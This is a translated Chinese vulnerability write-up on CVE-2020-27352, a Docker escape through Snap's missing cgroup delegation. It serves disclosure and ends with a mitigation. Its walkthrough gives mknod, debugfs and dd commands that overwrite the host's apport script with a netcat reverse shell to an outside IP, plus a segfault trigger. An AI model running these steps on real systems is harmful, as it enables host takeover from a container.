聊聊Docker越狱那些事儿
作者 | 徐磊 翻译
来源 | 新钛云服(ID:newtyun)
转载请联系授权(微信ID:zlm935177782)
因为一个关于Docker容器安全的事件,把曾一度以稳定性和安全性著称的Docker,演绎成了拥有特权漏洞的容器引擎,使其能够直接访问底层宿主机,就好比CVE-2020-27352安全漏洞导致代码在主机上执行,一夜之间,Docker容器的安全性形同虚设:
Docker在一夜之间更改了cgroup,这使我们能够提升权限并获得主机的root访问权限。我们能够利用cgroups在主机上运行反向Shell并获得代码执行权限。
此问题是由于Canonical的Snap中的配置错误而导致的,并且影响了许多产品。它被指定为CVE-2020-27352
CVE-2020-27352在为docker生成systemd服务单元时,snapd未指定"Delegate=yes",结果systemd会将进程从这些容器中移入主守护程序的cgroup中。重新加载系统单元时会自动对齐。这可能会向快照中的容器授予原本不希望的其他特权。
一、Linux容器–命名空间和cgroup
Docker是利用cgroup和namespaces来创建安全,可靠和强大的隔离框架。为了构建轻量级容器,需要创建有效的资源管理和隔离,为了使我们能够虚拟化系统环境,Linux内核以namespace和cgroups来提供低级隔离机制。
从根本上说,namespace是限制Linux进程树对各种系统实体(例如网络接口,进程树,用户ID和文件系统安装)的访问和可见性的机制。另一方面,Linux cgroups功能不仅提供了一种限制机制,而且还可以管理和说明一组进程的资源使用情况。它限制并监视系统资源,例如CPU时间,系统内存,磁盘带宽,网络带宽等。
这样看上去cgroup看起来非常安全。是这样吗?如果有人在Docker容器上错误配置了cgroups那该怎么办?让我们看看Docker在其“安全”网页上对cgroup的评价:
起到阻止一个容器访问或影响另一个容器的数据和进程的作用,它们对于抵御某些拒绝服务攻击非常重要。它们在公共和私有PaaS之类的多租户平台上尤其重要,即使在某些应用程序出现异常时,也要保证一致的正常runtime。
这就是说,如果Docker容器的cgroup配置错误的话,我们面临的最糟糕的情况就是拒绝服务。
二、Devices cgroup的特殊案例
尽管cgroup被描述为实现资源核算和限制的机制,但“内核” cgroups文档中的“Devices” cgroup(也称为“设备白名单控制器”)比较特殊。因此,Devices cgroup的作用被描述为:
实施cgroup来跟踪并强制执行对设备文件的打开和mknod限制…”
红帽Linux指南对此不透明的定义提供了一些启示:
设备子系统允许或拒绝cgroup中的任务访问设备。
回到内核cgroups文档,可以清晰的看到:
访问权限是r,w和m的组合。
确切地说,从我们的安全角度出发,无论是创建,读取还是写入,都要对 Linux内核的设备禁止各种访问。
受此白名单机制控制的设备可以是内核使用的任何设备。也包括安全的设备,例如/dev/null和/dev/zero,还包括USB设备(例如/dev/uhid),cdroms(/dev/ cdrom),甚至内核的硬盘(例如/dev/sda设备)。
总结来说:Devices cgroup是cgroup子系统中的一个特殊的组成部分,因为它不仅一种“资源核算和限制”机制,而且还是一个内核设备白名单控制器,与系统的资源耗尽相比,它可能造成更大的破坏。
三、从Docker默认容器到主机上的RCE
Systemd是linux下的一种初始化软件,为系统提供了很多系统组件。它旨在统一不同Linux之间的服务配置,并被大多数Linux发行版广泛采用。
Systemd的主要组件之一是服务管理器,它用于初始化系统,并且引导系统用户空间和管理用户进程。作为其操作的一部分,systemd创建并管理监视各种cgroup。Systemd的cgroup管理理念基于一些设计思想,包括systemd官方网站引用的“单写者规则”:
单写者规则:这意味着每个cgroup中只有一个单写者,即一个进程管理它。只有一个进程应该拥有一个特定的cgroup,并且当它拥有该cgroup时,它是排他性的,没有其他东西可以同时对其进行操作。
该规则对docker系统有深远的影响。
如果容器管理器在系统cgroup中创建和管理cgroup,会违反规则,因为cgroup由systemd管理,因此对其他所有人都没有限制。
在systemd的控制下,用于管理系统cgroup层次结构中的cgroup的容器runtime违反了此规则,这可能会干扰systemd对cgroup的管理。你可能已经猜到,配置错误的systemd服务可能假装管理自己创建的cgroup,实际上,systemd从上方监督所有事务:管理,创建和删除服务之下的cgroup ,但是上层根本没有注意到。
这是容器转型的核心。
当systemd重新加载一个单元时,它首先清理混乱的cgroup,将子cgroup中产生的所有进程移到较高的进程。特别是,如果systemd管理dockerd服务,它将在重新加载时清除所有docker容器的cgroup,从而将容器进程保留在较高的cgroup子系统层次结构中。
为什么systemd会突然重新加载?
系统重装比人们想象的要复杂得多。在启用服务,禁用一项服务,添加服务依赖项等之后,它将重新加载其任何服务的配置文件。这意味着,如果某些事情导致系统服务发生更改,那么即使是不太活跃的服务也可能容易受到影响。
Debian的“无人值守升级就是此类事物的一个著名例子。
无人值守升级是Debian软件包管理系统之一,其主要目的是“通过最新的具有安全性(及其他)更新自动使计算机保持最新状态。”
无人值守升级是一项定期任务,它在预配置的时间内运行一次。它会自动下载并安装安全更新,并且默认情况下会在包括Ubuntu桌面系统和服务器系统在内的各种系统上启用。升级某些服务时,它们的systemd单元配置会更改,这导致systemd重新加载整个系统,如下:
$ sudo journalctl -u apt-daily-upgrade.service
Dec 10 08:49:42 ubuntu systemd[1]: Starting Daily apt upgrade and clean activities...
Dec 10 08:55:51 ubuntu systemd[1]: apt-daily-upgrade.service: Succeeded.
Dec 10 08:55:51 ubuntu systemd[1]: Finished Daily apt upgrade and clean activities.
如上所示,Ubuntu每日升级服务始于08:49:42。此过程检查是否有任何强制性升级或者要下载的应用。以下是自动升级过程的结果:
$ journalctl --no-pager | grep "systemd\[1\]: Reloading\."
Dec 10 08:50:47 ubuntu systemd[1]: Reloading.
Dec 10 08:50:48 ubuntu systemd[1]: Reloading.
Dec 10 08:50:50 ubuntu systemd[1]: Reloading.
由于每天自动升级,在8:50的时候systemd的重新加载将会连续发生。具有讽刺意味的是,这是安全漏洞的突破口。
四、可能的解决方案
系统开发人员意识到某些服务需要管理自己的cgroup,并允许systemd为这些服务委派cgroup子树。委托的cgroup本身由systemd管理,但是程序可以自由地在其中创建子cgroup,而不会受到systemd的干扰,如systemd网站中所述:
systemd将不再摆弄cgroup树的子树。它不会更改其下的任何cgroup的属性,也不会创建或删除其下的任何cgroup,也不会在认为有用的情况下跨子树的边界迁移进程。
允许runtime(例如Docker)从systemd请求cgroup委派,从而获得特权自行管理其cgroup。实际上,我们在各种程序包管理器中检查的大多数Docker引擎程序包默认情况下都启用此选项,因此不易受此特定漏洞的影响。
Snap是由Canonical团队针对基于Linux的系统开发的软件打包和部署系统。现成的各种Linux发行版都支持它,例如Ubuntu,Manjaro,Zorin OS等。它也可用于许多其他发行版,例如CentOS,Debian,Fedora,Kali Linux,Linux Mint,Pop!_OS,Raspbian,Red Hat Enterprise Linux和openSUSE。许多著名的软件公司都在Snap Store中出售其软件。
从Docker 17.03开始,Snap存储区还提供了自己的Docker引擎和客户端软件包。
Snap与systemd内置集成,从而允许包含守护程序的软件包将自身注册为systemd单元。安装了这样的快照程序包后,快照程序守护程序(snapd)会代表该软件包的守护程序生成systemd单元文件(systemd配置文件)。
但是,到目前为止,snapd还不支持系统单位文件的Delegate选项。
cgroup的配置错误
由于快照中缺少此功能,因此Docker快照无法自己单独管理容器cgroup,从而使systemd拥有这些cgroup的所有权并暴露这种错误配置。
确定了问题的根源之后,让我们探索一些证据。可以在/proc/<PID>/cgroup下检查Docker容器的cgroup:
12:freezer:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
11:cpu,cpuacct:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
10:pids:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
9:blkio:/system.slice/snap.docker.dockerd.service
8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
7:devices:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
5:rdma:/
4:memory:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
2:net_cls,net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
1:name=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
0::/system.slice/snap.docker.dockerd.service
在上面的示例中,我们可以清楚地看到设备cgroup映射到Docker和容器ID(ba339…)下的文件夹。这是我们期望在Docker守护程序管理cgroup时看到的正确映射。正如我们在系统上看到的那样,systemd可能会自发接管Docker的容器cgroup,结果如下所示:
12:freezer:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
11:cpu,cpuacct:/system.slice/snap.docker.dockerd.service
10:pids:/system.slice/snap.docker.dockerd.service
9:blkio:/system.slice/snap.docker.dockerd.service
8:cpuset:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
7:devices:/system.slice/snap.docker.dockerd.service
6:hugetlb:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
5:rdma:/
4:memory:/system.slice/snap.docker.dockerd.service
3:perf_event:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
2:net_cls,net_prio:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
1:name=systemd:/docker/ba3398f7201b5ececf439dcadea00569d5213ae83f94135b89c3bcc7dadb2136
0::/system.slice/snap.docker.dockerd.service
“ a ”代表所有类型的设备,“ *:*”表示主机上所有可用的设备,“ rwm ”表示我们现在被允许从所有设备读取,写入所有设备和Mknod(制造新设备)。
发动攻击
cgroups的错误配置将默认Docker容器变成了对容器环境和底层主机更具有威胁性和攻击性的东西。
为了演示攻击,我们将假定在默认Docker容器中运行了一个恶意进程。攻击分为四个阶段:
在容器中,创建与基础主机的硬盘相对应的设备。
阅读core_pattern内核文件的内容,看看我们是否可以利用它。
利用内核的核心转储文件机制来生成攻击机的反向shell。
生成分段错误,以便内核将生成核心转储并接管主机。
阶段1:创建设备
查找主机将哪个设备用作其根设备的最佳方法是询问/proc/cmdline文件。
root@ba3398f7201b:/tmp# cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-5.9.0 root=UUID=43796265-7241-726b-204c-6162732052756c65 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US quiet
现在,我们需要使用带有根UUID的findfs来查找实际的Linux设备:
root@ba3398f7201b:/tmp# findfs UUID=43796265-7241-726b-204c-6162732052756c65
/dev/sda5
我们还可以简单地使用mount和lsblk查找主机的硬盘驱动器设备。
现在创建设备:
root@ba3398f7201b:/tmp# mknod /dev/sda5 b 8 5
阶段2:利用Linux核心转储文件机制
在大多数GNU/Linux系统中,当某些用户进程崩溃时,内核会生成核心转储文件。例如,当应用程序由于无效的内存访问(SIGSEGV)而崩溃时,将生成一个核心文件。此核心转储文件包含终止时进程内存的映像,有助于调试应用程序崩溃。这样的故障信号可以容易地从容器内部产生。
位于/proc/sys/kernel/中的core_pattern文件用于指定核心转储文件名称模式。我们可以使用预定的corename格式说明符来确定内核在生成核心转储文件时应使用的确切文件名,但是,如果core_pattern文件的第一个字符是管道'|',内核会将其余模式视为运行的命令。
让我们检查core_pattern文件:
root@ba3398f7201b:/tmp# cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P %E
因此,无论何时生成核心转储,内核都将执行/usr/share/中的apport文件。现在,我们应该可以访问主机的硬盘,并可以检查是否可以读取apport文件然后进行更改。
阶段3:访问并接管apport文件
在此阶段,我们使用debugfs –一种特殊的文件系统调试实用程序,它支持直接从硬盘驱动器设备进行读取和写入。
root@ba3398f7201b:/tmp# debugfs /dev/sda5
debugfs 1.42.12 (29-Aug-2014)
debugfs:
我们可以像使用shell提示符一样使用debugfs提示符。因此,我们更改为/usr/share/apport/:
debugfs: cd /usr/share/apport
然后使用stat获取有关apport文件的信息:
debugfs: stat apport
Inode: 1180547 Type: regular Mode: 0755 Flags: 0x80000
Generation: 3835493899 Version: 0x00000000:00000001
User: 0 Group: 0 Size: 29776
File ACL: 0 Directory ACL: 0Links: 1 Blockcount: 64
Fragment: Address: 0 Number: 0 Size: 0
ctime: 0x5fe09286:061f76dc -- Mon Dec 21 12:18:14 2020
atime: 0x5fe1e665:32c27c14 -- Tue Dec 22 12:28:21 2020
mtime: 0x5fe09286:061f76dc -- Mon Dec 21 12:18:14 2020
crtime: 0x5fb63c3a:359629b8 -- Thu Nov 19 09:34:50 2020
Size of extra inode fields: 32
EXTENTS:
(0-7):5330129-5330136
我们将使用此信息从基础主机硬盘读取和写入apport文件。
为此,我们将使用Linux实用程序dd,该实用程序允许我们从Linux设备读取和写入特定信息。
root@ba3398f7201b:/tmp# dd if=/dev/sda5 skip=42641032 count=64 of=/tmp/apport
现在我们在容器的/tmp/apport中拥有整个apport文件,让我们看一下其中的内容:
root@ba3398f7201b:/tmp# cat apport | more
#!/usr/bin/python3
# Collect information about a crash and create a report in the directory
# specified by apport.fileutils.report_dir.
# See https://wiki.ubuntu.com/Apport for details.
#
# Copyright (c) 2006 - 2016 Canonical Ltd.
# Author: Martin Pitt <martin.pitt@ubuntu.com>
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version. See http://www.gnu.org/copyleft/gpl.html for
# the full text of the license.
import sys, os, os.path, subprocess, time, traceback, pwd, io
import signal, inspect, grp, fcntl, socket, atexit, array, struct
import errno, argparse
import apport, apport.fileutils
#
# functions
--More--
该文件看起来像python3脚本,因此我们要做的就是添加os.system()调用以运行netcat反向shell。由于我们无意更改文件的大小,因此我们还需要确保从文件中删除与添加到文件中的字符数相同的字符。
由于我们的攻击机器正在侦听端口8081处的IP 13.57.11.205,因此添加以下行:
os.system(‘/usr/bin/busybox nc 13.57.11.205 8081 -e/bin/bash’)
并保存文件。
接下来,我们应该将文件复制回硬盘驱动器。为此,我们再次使用“ dd”:
root@ba3398f7201b:/tmp# dd of=/dev/sda5 seek=42641032 count=64 if=/tmp/apport
注意,我们切换了输入文件(if)和输出文件(of),现在我们使用'seek'而不是'skip'。
所以,现在我们已经写了Apport会文件恢复到主机的文件系统,我们已经准备好了4个阶段的攻击。
阶段4:武器化
为了武器化我们创建的设置,我们要做的就是生成一个细分错误。
我们可以通过编译并执行以下简短的c代码来做到这一点:
int main( void)
{
char *aaa = 0;
*aaa = 0;
return 1; // this line should not be reached…
}
在成功针对Docker默认容器为该漏洞提供武器之后,我们着手找出其他哪些容器/沙盒供应商也容易受到攻击。kubernetes,microk8s和已弃用的AWS IoT Greengrass V1也受此问题影响,并且容易受到此类攻击。
结论:如果使用Canonical的Snap软件包管理器管理软件包,则系统可能容易受到CVE-2020-27352的攻击,就容器而言,这是一个严重的漏洞,并且可能会影响数百万个Linux台式机和服务器。
容器的安全性仅与整个系统(包括Linux初始化和服务管理器以及Linux软件包管理器)的配置一样安全。正如我们已经证明的那样,必须注意确保整个系统(不仅是Docker的系统)的配置能够支持容器框架的多种需求。
如果您的Linux系统配置不正确,您可以使用以下命令,手动编辑系统Docker服务单元文件作为临时解决方法:
contena@ubuntu: $ sudo systemctl edit snap.docker.dockerd.service
然后添加以下行:Delegate = yes。保存文件并使用以下命令重新加载:
contena@ubuntu: $ sudo systemctl daemon-reload